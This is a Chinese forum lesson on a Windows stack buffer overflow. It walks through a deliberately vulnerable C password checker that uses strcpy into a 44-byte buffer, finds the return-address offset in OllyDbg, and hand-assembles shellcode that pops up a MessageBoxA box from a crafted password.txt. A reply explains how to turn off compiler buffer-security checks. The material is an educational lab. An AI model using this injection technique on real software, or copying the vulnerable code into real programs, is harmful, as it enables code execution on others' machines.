第5讲  初级栈溢出D——植入任意代码

To be the apostrophe which changed “Impossible” into “I'm possible”
—— failwest

麻雀虽小,五脏俱全

如果您顺利的学完了前面4讲的内容,并成功的完成了第2讲和第4讲中的实验,那么今天请跟我来一起挑战一下劫持有漏洞的进程,并向其植入恶意代码的实验,相信您成功完成这个实验后,学习的兴趣和自信心都会暴增。

开始之前,先简要的回答一下前几讲跟贴中提出的问题

代码编译少头文件问题:可能是个人习惯问题,哪怕几行长的程序我也会丢到project里去build,而不是用cl,所以没有注意细节。如果你们嫌麻烦,不如和我一样用project来build,应该没有问题的。否则的话,实验用的程序实在太简单了,这么一点小问题自己决绝吧。另外,看到几个同学说为了实验,专门恢复了古老的VC6.0,我也感动不已啊,呵呵。

地址问题:溢出使用的地址一般都要在调试中重新确定,尤其是本节课中的哦。所以照抄我的实验指导,很可能会出现地址错误。特别是本节课中有若干个地址都需要在调试中重新确定,请大家务必注意。能够屏蔽地址差异的通用溢出方法将会在后续课程中逐一讲解。

还有就是抱歉周末中断了一天的讲座——无私奉献也要过周末啊,大家体谅一下了。另外就是下周项目很紧张,估计不能每天都发贴了,争取两到三天发一次,请大家体谅。

如果有什么问题,欢迎在跟贴中提出来,一起讨论,实验成功完成的同学记住要吱——吱——吱啊,呵呵

在基础知识方面,本节没有新的东西。但是这个想法实践起来还是要费点周折的。我设计的实验是最最简单的情况,为了防止一开始难度高,刻意的去掉了真正的漏洞利用中的一些步骤,为的是让初学者理解起来更加清晰,自然。

本节将涉及极少量的汇编语言编程,不过不要怕,非常简单,我会给于详细的解释,不用专门去学汇编语言也能扛下来

另外本节需要最基本的使用OllyDbg进行调试,并配合一些其他工具以确认一些内存地址。当然这些地址的确认方法有很多,我只给出一种解决方案,如果大家在实验的时候有什么心得,不妨在跟贴中拿出来和大家一起分享,一起进步。

开始前简单回顾上节的内容:

password.txt 文件中的超长畸形密码读入内存后,会淹没verify_password函数的返回地址,将其改写为密码验证正确分支的指令地址

函数返回时,错误的返回到被修改的内存地址处取指执行,从而打印出密码正确字样

试想一下,如果我们把buffer[44]中填入一段可执行的机器指令(写在password.txt文件中即可),再把这个返回地址更改成buffer[44]的位置,那么函数返回时不就正好跳去buffer里取指执行了么——那里恰好布置着一段用心险恶的机器代码!

本节实验的内容就用来实践这一构想——通过缓冲去溢出,让进程去执行布置在缓冲区中的一段任意代码。


 名称:  01.JPG
查看次数: 1075
文件大小:  51.5 KB
图1
  


  如上图所示,在本节实验中,我们准备向password.txt文件里植入二进制的机器码,并用这段机器码来调用windows的一个API函数MessageBoxA,最终在桌面上弹出一个消息框并显示“failwest”字样。事实上,您可以用这段代码来做任何事情,我们这里只是为了证明技术的可行性。

为了完成在栈区植入代码并执行,我们在上节的密码验证程序的基础上稍加修改,使用如下的实验代码:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
  int authenticated;
  char buffer[44];
  authenticated=strcmp(password,PASSWORD);
  strcpy(buffer,password);//over flowed here!  
  return authenticated;
}
main()
{
  int valid_flag=0;
  char password[1024];
  FILE * fp;
  LoadLibrary("user32.dll");//prepare for messagebox
  if(!(fp=fopen("password.txt","rw+")))
  {
    exit(0);
  }
  fscanf(fp,"%s",password);
  valid_flag = verify_password(password);
  if(valid_flag)
  {
    printf("incorrect password!\n");
  }
  else
  {
    printf("Congratulation! You have passed the verification!\n");
  }
  fclose(fp);
}

这段代码在底4讲中使用的代码的基础上修改了三处:

增加了头文件windows.h,以便程序能够顺利调用LoadLibrary函数去装载user32.dll

verify_password函数的局部变量buffer由8字节增加到44字节,这样做是为了有足够的空间来“承载”我们植入的代码

main函数中增加了LoadLibrary("user32.dll")用于初始化装载user32.dll,以便在植入代码中调用MessageBox

用VC6.0将上述代码编译(默认编译选项,编译成debug版本),得到有栈溢出的可执行文件。在同目录下创建password.txt文件用于程序调试。


我们准备在password.txt文件中植入二进制的机器码,在password.txt攻击成功时,密码验证程序应该执行植入的代码,并在桌面上弹出一个消息框显示“failwest”字样。
  
让我们在动手之前回顾一下我们需要完成的几项工作:

1:分析并调试漏洞程序,获得淹没返回地址的偏移——在password.txt的第几个字节填伪造的返回地址

2:获得buffer的起始地址,并将其写入password.txt的相应偏移处,用来冲刷返回地址——填什么值

3:向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框——编写能够成功运行的机器代码(二进制级别的哦)

这三个步骤也是漏洞利用过程中最基本的三个问题——淹到哪里,淹成什么以及开发shellcode

首先来看淹到什么位置和把返回地址改成什么值的问题

本节验证程序里verify_password中的缓冲区为44个字节,按照前边实验中对栈结构的分析,我们不难得出栈帧中的状态如下图所示:

 
名称:  02.JPG
查看次数: 1048
文件大小:  20.1 KB
图2


如果在password.txt中写入恰好44个字符,那么第45个隐藏的截断符null将冲掉authenticated低字节中的1,从而突破密码验证的限制。我们不妨就用44个字节做为输入来进行动态调试。

  出于字节对齐、容易辨认的目的,我们把“4321”作为一个输入单元。
  buffer[44]共需要11个这样的单元
  第12个输入单元将authenticated覆盖
  第13个输入单元将前栈帧EBP值覆盖
  第14个输入单元将返回地址覆盖

分析过后我们需要进行调试验证分析的正确性。首先在password.txt中写入11组“4321”共44个字符:


  
名称:  03.JPG
查看次数: 1036
文件大小:  14.7 KB
图3


如我们所料,authenticated被冲刷后程序将进入验证通过的分支:
 
名称:  04.JPG
查看次数: 1032
文件大小:  19.7 KB
图4

用OllyDbg加载这个生成的PE文件进行动态调试,字符串拷贝函数过后的栈状态如图:

 
名称:  05.JPG
查看次数: 1038
文件大小:  123.4 KB
图5

  此时的栈区内存如下表所示

局部变量名  内存地址  偏移3处的值  偏移2处的值  偏移1处的值  偏移0处的值
buffer[0~3]  0x0012FAF0  0x31 (‘1')  0x32 (‘2')  0x33 (‘3')  0x34 (‘4')
……  (9个双字)  0x31 (‘1')  0x32 (‘2')  0x33 (‘3')  0x34 (‘4')
buffer[40~43]  0x0012FB18  0x31 (‘1')  0x32 (‘2')  0x33 (‘3')  0x34 (‘4')
authenticated
(被覆盖前)  0x0012FB1C  0x00  0x00  0x00  0x31 (‘1')
authenticated
(被覆盖后)  0x0012FB1C  0x00  0x00  0x00  0x00 (NULL)
前栈帧EBP  0x0012FB20  0x00  0x12  0xFF  0x80
返回地址  0x0012FB24  0x00  0x40  0x11  0x18

  动态调试的结果证明了前边分析的正确性。从这次调试中我们可以得到以下信息:

buffer数组的起始地址为0x0012FAF0——注意这个值只是我调试的结果,您需要在自己机器上重新确定!

password.txt文件中第53到第56个字符的ASCII码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址

也就是说将buffer的起始地址0x0012FAF0写入password.txt文件中的第53到第56个字节,在verify_password函数返回时会跳到我们输入的字串开始出取指执行。


我们下面还需要给password.txt中植入机器代码。

让程序弹出一个消息框只需要调用windows的API函数MessageBox。MSDN对这个函数的解释如下:

int MessageBox(
  HWND hWnd,          // handle to owner window
  LPCTSTR lpText,     // text in message box
  LPCTSTR lpCaption,  // message box title
  UINT uType          // message box style
);

hWnd 
[in] 消息框所属窗口的句柄,如果为NULL的话,消息框则不属于任何窗口 
lpText 
[in] 字符串指针,所指字符串会在消息框中显示 
lpCaption 
[in] 字符串指针,所指字符串将成为消息框的标题 
uType 
[in] 消息框的风格(单按钮,多按钮等),NULL代表默认风格 


虽然只是调一个API,在高级语言中也就一行代码,但是要我们直接用二进制指令的形式写出来也并不是一件容易的事。这个貌似简单的问题解决起来还要用一点小心思。不要怕,我会给我的解决办法,不一定是最好的,但是能解决问题。

  我们将写出调用这个API的汇编代码,然后翻译成机器代码,用16进制编辑工具填入password.txt文件。

注意:熟悉MFC的程序员一定知道,其实系统中并不存在真正的MessagBox函数,对MessageBox这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者“W”类函数(UNICODE)调用。因此我们在汇编语言中调用的函数应该是MessageBoxA。多说一句,其实MessageBoxA的实现只是在设置了几个不常用参数后直接调用MessageBoxExA。探究API的细节超出了本书所讨论的范围,有兴趣的读者可以参阅其他书籍。

用汇编语言调用MessageboxA需要三个步骤:

1.装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形化操作界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它

2.在汇编语言中调用这个函数需要获得这个函数的入口地址

3 在调用前需要向栈中按从右向左的顺序压入MessageBoxA的四个参数。当然,我肯定压如failwest啦,哈哈

对于第一个问题,为了让植入的机器代码更加简洁明了,我们在实验准备中构造漏洞程序的时候已经人工加载了user32.dll这个库,所以第一步操作不用在汇编语言中考虑。

对于第二个问题,我们准备直接调用这个API的入口地址,这个地址需要在您的实验机器上重新确定,因为user32.dll中导出函数的地址和操作系统版本和补丁号有关,您的地址和我的地址不一定一样。

MessageBoxA的入口参数可以通过user32.dll在系统中加载的基址和MessageBoxA在库中的偏移相加得到。为啥?看下看雪老大《软件加密与解密》中关于虚拟地址这些基础知识的论述吧,相信版内也有很多相关资料。

这里简单解释下,MessageBoxA是user32.dll的一个导出函数,要确定它首先要知道user32.dll在虚拟内存中的装载地址(与操作系统版本有关),然后从这个基地址算起,找到MessageBoxA这个导出函数的偏移,两者相加,就是这个API的虚拟内存地址。

具体的我们可以使用VC6.0自带的小工具“Dependency Walker”获得这些信息。您可以在VC6.0安装目录下的Tools下找到它:
 
名称:  06.JPG
查看次数: 1032
文件大小:  77.1 KB
图6

  运行Depends后,随便拖拽一个有图形界面的PE文件进去,就可以看到它所使用的库文件了。在左栏中找到并选中user32.dll后,右栏中会列出这个库文件的所有导出函数及偏移地址;下栏中则列出了PE文件用到的所有的库的基地址。

 名称:  07.JPG
查看次数: 1019
文件大小:  103.4 KB
图7


  如上图示,user32.dll的基地址为0x77D40000,MessageBoxA的偏移地址为0x000404EA。基地址加上偏移地址就得到了MessageBoxA在内存中的入口地址:0x77D804EA


  有了这个入口地址,就可以编写进行函数调用的汇编代码了。这里我们先把字符串“failwest”压入栈区,消息框的文本和标题都显示为“failwest”,只要重复压入指向这个字符串的指针即可;第一个和第四个参数这里都将设置为NULL。写出的汇编代码和指令所对应的机器代码如下:

           

机器代码(16进制)  汇编指令  注释
33 DB  XOR EBX,EBX  压入NULL结尾的”failwest”字符串。之所以用EBX清零后入栈做为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断。
53                  PUSH EBX  
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166  
8B C4                MOV EAX,ESP  EAX里是字符串指针
53                  PUSH EBX  四个参数按照从右向左的顺序入栈,分别为:
                                                 (0,failwest,failwest,0)
                                                  消息框为默认风格,文本区和标题都是“failwest”
50                   PUSH EAX  
50                   PUSH EAX  
53                   PUSH EBX  
B8 EA 04 D8 77  MOV EAX, 0x77D804EA  调用MessageBoxA。注意不同的机器这里的                                    
                                                                    函数入口地址可能不同,请按实际值填入!
FF D0                 CALL EAX  


从汇编指令到机器码的转换可以有很多种方法。调试汇编指令,从汇编指令中提取出二进制机器代码的方法将在后面逐一介绍。由于这里仅仅用了11条指令和对应的26个字节的机器代码,如果您一定要现在就弄明白指令到机器码是如何对应的话,直接查阅Intel的指令集手工翻译也不是不可以。

  将上述汇编指令对应的机器代码按照上一节介绍的方法以16进制形式逐字抄入password.txt,第53到56字节填入buffer的起址0x0012FAF0,其余的字节用0x90(nop指令)填充,如图:

 名称:  08.JPG
查看次数: 1019
文件大小:  50.4 KB
图8


换回文本模式可以看到这些机器代码所对应的字符:
 

名称:  09.JPG
查看次数: 998
文件大小:  39.4 KB
图9

这样构造了password.txt之后在运行验证程序,程序执行的流程将按下图所示:



 名称:  10.JPG
查看次数: 991
文件大小:  55.1 KB
图10


程序运行情况如图:
 
名称:  11.JPG
查看次数: 995
文件大小:  18.2 KB
图11


成功的弹出了我们植入的代码!

您成功了吗?如果成功的唤出了藏在password.txt中的消息框,请在跟贴中吱一下,和大家一起分享您喜悦的心情,这是我们学习技术的源动力。

最后总结一下本节实验的几个要点:
确认函数返回地址与buffer数组的距离——淹哪里
确认buffer数组的内存地址——把返回地址淹成什么(需要调试确定,与机器有关)
编制调用消息框的二进制代码,关键是确定MessageBoxA的虚拟内存地址(与机器有关)

我实验用的PE和password.txt在这里:

想要PE的请点这里:stack_overflow_exec.rar
想要Passwrd.txt的请点这里:password.txt


这节课的题目是麻雀虽小,五脏俱全。这是因为这节课第一次把漏洞利用的全国程展现给了大家:
密码验证程序读入一个畸形的密码文件,竟然蹦出了一个消息框!
Word在解析doc文档时,不知有多少个内存复制和操作的函数调用,如果哪一个有溢出漏洞,那么office读入一个畸形的word文档时,会不会弹出个消息框,开个后门,起个木马啥的?
IIS和APACHE在解析WEB请求的时候,也不知道有多少内存复制操作,如果存在溢出漏洞,那么攻击者发送一个畸形的WEB请求,会不会导致server做出点奇怪的事情?
RPC调用中如果出现……

上面说的并不是危言耸听,全都是真实世界中曾经出现过的漏洞攻击案例。本节的例子是现实中的漏洞利用案例的精简版,用来阐述基本概念并验证技术可行性。随着后面的深入讨论,您会发现漏洞研究是多么有趣的一门技术。



在本节最后,我给出一个课后作业和几个思考题——因为下一讲可能会稍微隔几天,大家不妨自己动手练习练习,记住光听课是没有的,动手非常重要!

课后作业:如果您细心的话,在点击上面的ok按钮之后,程序会崩溃:

名称:  12.JPG
查看次数: 988
文件大小:  33.0 KB
 图12

  这是因为MessageBoxA调用的代码执行完成之后,我们没有写安全退出的代码的缘故。您能把我给出的二进制代码稍微修改下,使之能够在点击之后干净利落的退出进程么?

如果你能做到这一点,不妨把你的解决方案也拿出来和大家一起分享,一起进步。

思考题:

1:我反复强调,buffer的位置在实验中需要自己在调试中确定,不同机器环境可能不一样。
大家都知道,程序运行中,栈的位置是动态变化的,也就是说buffer的内存地址可能每次都不一样,在真实的漏洞利用中,尤其是遇到多线程的程序,每次的缓冲区位置都是不同的。那么我们怎么保证在函数返回时总能够准确的跳回buffer,找到植入的代码呢?

比较通用的定位植入代码(shellcode)的方法我会在后面的讲座中系统介绍,这里先提一下,大家可以思考思考

2:我也反复强调,API的地址需要自己确定,不同环境会有不同。这样植入代码的通用性还是会大打折扣。有没有通用的定位windows API的方法呢?

以上两个问题是影响windows平台下漏洞利用稳定性的两个很关键的问题。我选择了windows平台来讲解,是为了照顾初学者对linux的进入门槛和windows下美轮美奂的调试工具。但windows的溢出是相对linux较难的,进入简单,深造难。不过我相信大家能啃下来的。

为了不至于在一节课中引入太多新东西,我在本节课中均采用现场调试确定的方法,并没有考虑通用性问题。在这里鼓励大家积极思考,有想法别忘了在跟贴中分享出来。

  • 标 题: 答复
  • 作 者:zle001
  • 时 间:2007-12-28 00:19

可能我比较习惯用vc2003,第四章的内容,其实用vc2003编译也可以实现。
就是注意将几个配置改一下就行了:
1、code generation 中Smaller Type Check:NO
2、code generation 中Base Runtime Checks:Default
3、code generation 中Buffer sucurity check:No
4、language 中全 NO
还有一个函数得改一下
1、你用fscan读取文件,应换成fread,好像fscan中用了字符串调整。
这样就可以了。
看你的文章也为你的例子扩展做一点小贡献,算是对你这么好的文章的感谢!!!